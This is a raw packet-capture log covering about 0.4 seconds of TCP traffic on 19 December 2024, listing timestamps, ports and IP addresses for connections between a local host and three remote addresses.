Dec 19, 2024 14:10:42.126789093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.126837969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.126888037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.127954006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.128060102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.128107071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.129157066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.129200935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.129244089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.129306078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.130326986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.130433083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.130481005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.131555080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.131608963 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.131735086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.131792068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.132733107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.132740974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.132783890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.133868933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.133939028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.133939981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.133985996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.155348063 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.155571938 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.155642033 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.155679941 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.184293032 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.203336000 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.203417063 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.251333952 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.264774084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.264847994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.264914036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.265412092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.265460014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.265564919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.265609026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.266552925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.266608000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.266665936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.266720057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.267749071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.267802000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.267882109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.267976046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.269139051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.269149065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.269188881 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.270122051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.270199060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.270247936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.270313978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.271466970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.271565914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.271630049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.271657944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.272502899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.272572994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.272614956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.272762060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.273667097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.273725986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.273817062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.273874998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.274844885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.274935007 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.274979115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.275028944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.276010990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.276082039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.276103020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.276166916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.277225018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.277314901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.277364016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.278393030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.278450966 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.278527975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.278584003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.279565096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.279645920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.279674053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.279712915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.280755997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.280864954 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.280879021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.280930042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.281974077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.281999111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.282041073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.283153057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.283238888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.283282995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.283489943 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.284367085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.284435034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.284439087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.284482956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.285581112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.285631895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.285689116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.285728931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.286715984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.286803007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.286818981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.286850929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.287866116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.287930965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.287935972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.288033962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.289057970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.289102077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.289144039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.289222956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.290340900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.290402889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.290452003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.290503979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.291520119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.291589022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.291640043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.292670012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.292680025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.292716980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.293777943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.293834925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.293869019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.293898106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.294976950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.295054913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.295110941 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.296152115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.296200037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.296251059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.296295881 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.297354937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.297403097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.297529936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.297605991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.298677921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.298744917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.298777103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.298863888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.299686909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.299750090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.299793005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.299848080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.300892115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.300955057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.301002979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.301055908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.302082062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.302143097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.302186012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.302228928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.303225040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.303385019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.303385973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.303423882 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.303719997 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.303838968 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.304563046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.304585934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.304610014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.304646015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.305490971 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.305597067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.305732012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.305814028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.306854010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.306937933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.306948900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.307014942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.308000088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.308078051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.308108091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.308247089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.309160948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.309220076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.309267998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.309355974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.310367107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.310420990 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.310471058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.310511112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.311548948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.311597109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.311645985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.311682940 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.312730074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.312797070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.312844992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.313911915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.314007998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.314021111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.314049006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.315134048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.315184116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.315239906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.315319061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.316324949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.316334963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.316375017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.317425013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.317467928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.317534924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.317575932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.318619013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.318727970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.318778992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.319787979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.319839001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.319960117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.320116043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.321132898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.321240902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.321248055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.321286917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.322175980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.322221994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.322267056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.322310925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.323379993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.323462009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.323465109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.323508978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.324542046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.324630022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.324637890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.324686050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.325753927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.325772047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.325820923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.326916933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.326961994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.425539970 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425578117 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425600052 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425606012 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425681114 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.425688028 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425699949 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425709009 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425749063 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.425801039 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425806999 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425812960 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.425860882 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.425885916 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.435453892 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.457072973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.457174063 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.457210064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.457230091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.457648993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.457808018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.457858086 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.458920002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.458997965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.459039927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.460015059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.460062981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.460117102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.460159063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.461216927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.461292028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.461471081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.461534977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.462439060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.462449074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.462486029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.463654041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.463720083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.463783026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.463820934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.464778900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.464946032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.464967966 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.465001106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.465925932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.466058016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.466116905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.467220068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.467387915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.467458963 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.468293905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.468384027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.468436003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.468497992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.469481945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.469535112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.469597101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.469670057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.470657110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.470701933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.470772982 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.471862078 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.471914053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.471973896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.472019911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.473104000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.473159075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.473217964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.473301888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.474273920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.474371910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.474421024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.475590944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.475620031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.475652933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.475682020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.476561069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.476629972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.476686001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.477834940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.477905989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.477957010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.477972984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.479017973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.479165077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.479255915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.480140924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.480266094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.480324030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.481317997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.481385946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.481398106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.481482983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.482491970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.482620001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.482688904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.483695030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.483755112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.483800888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.483850956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.484874010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.484987020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.485001087 CET	49837	80	192.168.2.4	31.41.244.11
